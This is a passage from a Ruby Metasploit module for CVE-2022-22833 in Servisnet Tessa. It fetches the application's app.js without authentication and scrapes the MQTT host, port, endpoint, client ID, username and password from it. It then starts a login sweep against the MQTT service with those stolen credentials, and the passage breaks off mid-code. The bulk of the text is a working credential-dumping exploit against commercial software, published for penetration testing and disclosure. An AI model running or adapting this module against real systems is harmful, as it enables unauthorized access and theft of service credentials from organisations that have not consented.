By exposing a default value for the "Authorization" HTTP header,                 it is possible to make unauthenticated requests to some areas of the application.                 Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.                A new admin user can be added to the database with this header obtained in the source code.        The module tries to log in to the MQTT service with the credentials it has obtained,         and reflects the response it receives from the service.      ),      'References'     =>        [          [ 'CVE', 'CVE-2022-22833' ],          [ 'URL', 'https://pentest.com.tr/exploits/Servisnet-Tessa-MQTT-Credentials-Dump-Unauthenticated.html' ],          [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]        ],      'Author'         =>        [          'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus        ],      'License'        => MSF_LICENSE,      'DisclosureDate' => "Dec 22 2021",      'DefaultOptions' =>        {          'RPORT' => 443,          'SSL'   => true        }    ))    register_options([        OptString.new('TARGETURI',  [true, 'Base path for application', '/'])    ])  end  # split strings to salt  def split(data, string_to_split)      word = data.scan(/"#{string_to_split}"] = "([Ss]*?)"/)    string = word.split('"]').join('').split('["').join('')    return string  end   def check_mqtt   res = send_request_cgi({   # default.a.get( check      'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'), 'method'  => 'GET'   })     if res && res.code == 200 && res.body =~ /connectionMQTT/      data = res.body      #word = data.scan(/"#{string_to_split}"] = "([Ss]*?)"/)      mqtt_host = data.scan(/host: '([Ss]*?)'/)[0][0]      rhost = mqtt_host.split('mqtts://').join('')      print_status("MQTT Host: #{mqtt_host}")        mqtt_port = data.scan(/port: ([Ss]*?),/)[0][0]      print_status("MQTT Port: #{mqtt_port}")       mqtt_end = data.scan(/endpoint: '([Ss]*?)'/)[0][0]      print_status("MQTT Endpoint: #{mqtt_end}")       mqtt_cl = data.scan(/clientId: '([Ss]*?)'/)[0][0]      print_status("MQTT clientId: #{mqtt_cl}")      mqtt_usr = data.scan(/username: '([Ss]*?)'/)[1][0]      print_status("MQTT username: #{mqtt_usr}")      mqtt_pass = data.scan(/password: '([Ss]*?)'/)[1][0]      print_status("MQTT password: #{mqtt_pass}")      print_status("##### Starting MQTT login sweep #####")      # Removed brute force materials that can be included for the collection.      cred_collection = Metasploit::Framework::CredentialCollection.new(        password: mqtt_pass,        username: mqtt_usr      )      # this definition already exists in "auxiliary/scanner/mqtt/connect".
